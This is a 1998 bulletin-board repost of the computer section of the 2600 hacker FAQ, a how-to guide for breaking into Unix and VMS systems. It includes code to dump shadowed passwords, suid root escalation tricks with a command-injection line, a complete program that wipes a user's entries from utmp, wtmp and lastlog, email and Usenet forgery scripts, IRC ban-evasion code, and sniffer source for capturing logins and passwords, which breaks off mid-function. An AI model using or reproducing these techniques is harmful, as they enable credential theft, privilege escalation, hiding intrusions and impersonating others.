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发信人: hbo (奥妙), 信区: Hacker
标 题: Hacker入门手册(2600)(计算机部分)
发信站: 深大荔园晨风站 (Fri Jan 16 00:33:54 1998), 转信
这是2600 Hacker入门的计算机部分
Section A: Computers
~~~~~~~~~~~~~~~~~~~~
01. How do I access the password file under Unix?
In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere. An entry in the password file consists of seven colon
delimited fields:
Username
Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Shell
]
] Sample entry from /etc/passwd:
]
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
Broken down, this passwd file line shows:
Username: will
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: Will Spencer
Home directory: /home/fsg/will
Shell: /bin/bash
02. How do I crack Unix passwords?
Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.
Password cracking software uses wordlists. Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.
The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack. CrackerJack is available via ftp from clark.net
/pub/jcase/.
03. What is password shadowing?
Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.
To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.
Example:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
04. Where can I find the password file if it's shadowed?
Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:
+::0:0:::
To view the real password file use this command "ypcat passwd"
06. What are those weird characters after the comma in my passwd file?
The characters are password aging data. Password aging forces the
user to change passwords after a System Administrator specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.
]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
Note the comma in the encrypted password field. The characters after
the comma are used by the password aging mechanism.
]
] Password aging characters from above example:
]
] M.z8
]
The four characters are interpreted as follows:
1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.
Three special cases should be noted:
If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.
If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.
If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password. Only root can
change that users password.
It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.
Password Aging Codes
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
07. How do I access the password file under VMS?
Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.
08. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.
09. What can be logged on a VMS system?
Virtually every aspect of the VMS system can be logged for
investigation. To determine the status of the accounting on your system
use the command SHOW ACCOUNTING. System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer usage
etc.), while system auditing is done with the aim of logging information
for the purpose of security. To enable accounting:
$ SET ACCOUNTING [/ENABLE=(Activity...)]
This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close
the current log file and open a new one with a higher version
number.
The following activities can be logged:
BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess
To enable security auditing use:
$ SET AUDIT [/ENABLE=(Activity...)]
The /ALARM qualifier is used to raise an alarm to all terminals approved
as security operators, which means that you need the SECURITY
privileges. You can determine your security auditing configuration
using $ SHOW AUDIT /ALL
The security auditor can be configured to log the following
activities:
ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests
10. What privileges are available on a VMS system?
ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
value
BUGCHK Allows you make bug check error log entries
BYPASS Enables you to disregard protections
CMEXEC/
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
directly.
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the
world
To determine what privileges your process is running with issue the command:
$ show proc/priv
11. How do I break out of a restricted shell?
On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:
: set shell=/bin/sh
then shell using this command:
: shell
If your restricted shell prevents you from using the "cd" command, ftp
into your account and you may be able to cd.
12. How do I gain root from a suid script or program?
1. Change IFS.
If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the
proceeding line as:
bin date
Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.
To change IFS, use this command:
IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell
2. link the script to -i
Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#
3. Exploit a race condition
Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
4. Send bad input to the program.
Invoke the name of the program and a separate command on the same
command line.
Example:
suidprog ; id
13. How do I erase my presence from the system logs?
Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.
Example:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
14. How do I send fakemail?
Telnet to port 25 of the machine you want the mail to appear to
originate from. Enter your message as in this example:
HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
From: voyager@bellcore.com (The Voyager)
To: president@whitehouse.gov
Subject: Clipper
Reply-To: voyager@bellcore.com
Please discontinue your silly Clipper initiative.
.
QUIT
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work. Test by sending yourself fakemail first.
For more information read RFC 822 "Standard for the format of ARPA
Internet text messages."
15. How do I fake posts and control messages to UseNet?
From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT
Anonymous netnews without "anonymous" remailers
Inspired by the recent "NetNews Judges-L" events, this file has been
updated to cover forging control messages, so you can do your own
article canceling and create and destroy your own newsgroups.
Save any news article to a file. We'll call it "hak" in this example.
Edit "hak", and remove any header lines of the form
From some!random!path!user (note: "From ", not "From: " !!)
Article:
Lines:
Xref:
Shorten the Path: header down to its LAST two or three "bangized"
components. This is to make the article look like it was posted from
where it really was posted, and originally hit the net at or near the
host you send it to. Or you can construct a completely new Path: line
to reflect your assumed alias.
Make some change to the Message-ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of
random characters to the part before the @, since news posting programs
generally use a fixed-length field to generate these IDs.
Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc. Replace the original message text with your message. If
you are posting to a moderated group or posting a control message,
remember to put in an Approved: header to bypass the moderation
mechanism.
To specifically cancel someone else's article, you need its message-ID.
Your message headers, in addition to what's already there, should also
contain the following with that message-ID in it. This makes it a
"control message". NOTE: control messages generally require an
Approved: header as well, so you should add one.
Subject: cmsg cancel <xb8700A@twits.site.com>
Control: cancel <xb8700A@twits.site.com>
Approved: luser@twits.site.com
Newsgroups are created and destroyed with control messages, too. If
you wanted to create, for instance, comp.misc.microsoft.sucks, your
control headers would look like
Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks
Add on the string "moderated" at the end of these if you want the group
to be "moderated with no moderator" as with alt.hackers. Somewhere in
the body of your message, you should include the following text,
changed with the description of the group you're creating:
For your newsgroups file:
comp.misc.microsoft.sucks We don't do windows
To remove a group, substitute "rmgroup" for "newgroup" in the header
lines above. Keep in mind that most sites run all "rmgroup" requests
through a human news-master, who may or may not decide to honor it.
Group creation is more likely to be automatic than deletion at most
installations. Any newsgroup changes are more likely to take effect if
the come from me, since my name is hardwired into many of the NNTP
control scripts, so using the From: and Approved: headers from this
posting is recommended.
Save your changed article, check it to make sure it contains NO
reference to yourself or your own site, and send it to your favorite
NNTP server that permits transfers via the IHAVE command, using the
following script:
=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server
if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi
# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid
( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
=======================
If your article doesn't appear in a day or two, try a different server.
They are easy to find. Here's a script that will break a large file
full of saved netnews into a list of hosts to try. Edit the output of
this if you want, to remove obvious peoples' names and other trash.
=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================
Once you have your host list, feed it to the following script.
=======================
#! /bin/sh
while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave IamSOk00l@podunk.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
=======================
If the above script is called "findem" and you're using csh, you should do
findem < list >& outfile
so that ALL output from telnet is captured. This takes a long time,
but when it finishes, edit "outfile" and look for occurrences of "335".
These mark answers from servers that might be willing to accept an
article. This isn't a completely reliable indication, since some
servers respond with acceptance and later drop articles. Try a given
server with a slightly modified repeat of someone else's message, and
see if it eventually appears.
Sometimes the telnets get into an odd state, and freeze, particularly
when a host is refusing NNTP connections. If you manually kill these
hung telnet processes but not the main script, the script will continue
on. In other words, you may have to monitor the finding script a
little while it is running.
You will notice other servers that don't necessarily take an IHAVE, but
say "posting ok". You can probably do regular POSTS through these, but
they will add an "NNTP-Posting-Host: " header containing the machine
YOU came from and are therefore unsuitable for completely anonymous
use.
PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY.
16. How do I hack ChanOp on IRC?
Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on. When
that server reconnects to the net, you will have ChanOp on the real
channel. If you have ServerOp on a server, you can cause it to split
on purpose.
17. How do I modify the IRC client to hide my real username?
Note: This FAQ answer was written by someone else, but I do not know who.
If you know who originally wrote this, please e-mail me.
-- BEGIN QUOTED TEXT --
Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER. This new command
can be used as follows:
* /NEWUSER <new_username> [new_IRCNAME]
* <new_username> is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channel you
* are currently on and keep your current nickname.
The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact. This is ideal for bots that wish to be REALLY
obnoxious in ban evasion. ;)
As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes time,
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):
on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1
}
}
Or just to be annoying... a /BE <nickname> alias that will assume a
person's username and IRCNAME:
alias be {
^on ^311 * {
^on 311 -*
newuser $2 $5-
}
whois $0
}
Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using). Cd into the
source directory and edit the file "edit.c". Make the following
changes:
Locate the line which reads:
extern void server();
Insert the following line after it:
static void newuser();
This pre-defines a new function "newuser()" that we'll add later.
Now, locate the line which reads:
"NAMES", "NAMES", funny_stuff, 0,
Insert the following line after it:
"NEWUSER", NULL, newuser, 0,
This adds a new command NEWUSER to the list of valid IRCII commands, and
tells it to call our new function newuser() to perform it.
Finally, go the bottom of the file and add the following code as our new
function "newuser()":
/*
* newuser: the /NEWUSER command. Added by Hendrix
* Parameters as follows:
* /NEWUSER <new_username> [new_IRCNAME]
* <new_username> is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channels you
* are currently on and keep your current nickname.
*/
static void newuser(command, args)
char *command,
*args;
{
char *newuname;
if (newuname = next_arg(args, &args))
{
strmcpy(username, newuname, NAME_LEN);
if (*args)
strmcpy(realname, args, REALNAME_LEN);
say("Reconnecting to server...");
close_server(from_server);
if (connect_to_server(server_list[from_server].name,
server_list[from_server].port, primary_server) != -1)
{
change_server_channels(primary_server, from_server);
set_window_server(-1, from_server, 1);
}
else
say("Unable to reconnect. Use /SERVER to connect.");
}
else
say("You must specify a username and, optionally, an IRCNAME");
}
-- END QUOTED TEXT --
/NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when queried.
*** ctcp.old
--- ctcp.c
***************
*** 334 ****
! char c;
--- 334 ---
! char c, *fing;
***************
*** 350,354 ****
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 350,356 ----
! if (fing = getenv("CTCPFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;
18. How to I change to directories with strange characters in them?
These directories are often used by people trying to hide information,
most often warez (commercial software).
There are several things you can do to determine what these strange
characters are. One is to use the arguments to the ls command that
cause ls to give you more information:
From the man page for ls:
-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.
-q Forces printing of non-graphic characters in filenames as the
character ``?''.
-b Forces printing of non-graphic characters in the \ddd
notation, in octal.
Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine. Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.
From the man page for cat:
-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (<Ctrl>x), where X is the key pressed with
the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The
<Del> character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as M -x, where
x is the character specified by the seven low order bits.
-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.
-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.
If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes. Example:
cd "..<TAB>"
On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad. When you release the <ALT> key, the special
character should appear on your screen. An ASCII chart can be very
helpful.
Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.
From the man page for stty:
Control assignments
control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.
start and stop are available as possible control char-
acters for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding con-
trol character (for example, ^D is a <Ctrl>d; ^? is
interpreted as DELETE and ^- is interpreted as unde-
fined).
Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.
19. What is ethernet sniffing?
Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you. When your software sees a
packet that fits certain criteria, it logs it to a file. The most
common criteria for an interesting packet is one that contains words
like "login" or "password."
Many ethernet sniffers are available, here are a few that may be on
your system now:
OS Sniffer
~~ ~~~~~~~
4.3/4.4 BSD tcpdump /* Available via anonymous ftp */
FreeBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix tcpdump /* Available via anonymous ftp */
DEC Ultrix tcpdump /* Available via anonymous ftp */
HP/UX nettl (monitor)
& netfmt (display)
nfswatch /* Available via anonymous ftp */
Linux tcpdump /* Available via anonymous ftp at */
/* sunsite.unc.edu */
/* /pub/Linux/system/Network/management/ */
SGI Irix nfswatch /* Available via anonymous ftp */
Etherman
tcpdump /* Available via anonymous ftp */
Solaris snoop
tcpdump
SunOS etherfind
nfswatch /* Available via anonymous ftp */
tcpdump /* Available via anonymous ftp */
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek
Here is source code for a sample ethernet sniffer:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
